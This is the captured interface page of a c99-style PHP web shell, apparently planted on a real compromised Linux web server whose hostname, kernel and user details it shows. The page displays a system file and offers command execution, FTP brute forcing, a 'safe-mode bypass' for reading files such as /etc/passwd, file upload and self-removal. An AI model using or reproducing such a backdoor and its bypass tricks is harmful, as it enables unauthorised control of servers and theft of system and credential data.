!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/etc/pam.d/   drwxr-xr-x
Free 52.59 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     runuser-l (105 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /etc/pam.d/runuser-l
Size 105 B
MD5 da714d1ef1b85471f3bb1a83daa7a88b
Owner/Group root/root
Perms-rw-r--r--
Create time 25/04/2011 18:09:30
Access time 01/03/2010 05:33:13
MODIFY time 01/03/2010 05:33:13

HEXDUMP PREVIEW
00000000
00000018
00000030
00000048
00000060
23 25 50 41 4D 2D 31 2E 30 0A 61 75 74 68 09 09 69 6E 63 6C 75 64 65 09
09 72 75 6E 75 73 65 72 0A 73 65 73 73 69 6F 6E 09 09 6F 70 74 69 6F 6E
61 6C 09 70 61 6D 5F 6B 65 79 69 6E 69 74 2E 73 6F 20 66 6F 72 63 65 20
72 65 76 6F 6B 65 0A 73 65 73 73 69 6F 6E 09 09 69 6E 63 6C 75 64 65 09
09 72 75 6E 75 73 65 72 0A
#%PAM-1.0 auth include
runuser session option
al pam_keyinit.so force 
revoke session include
runuser 

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--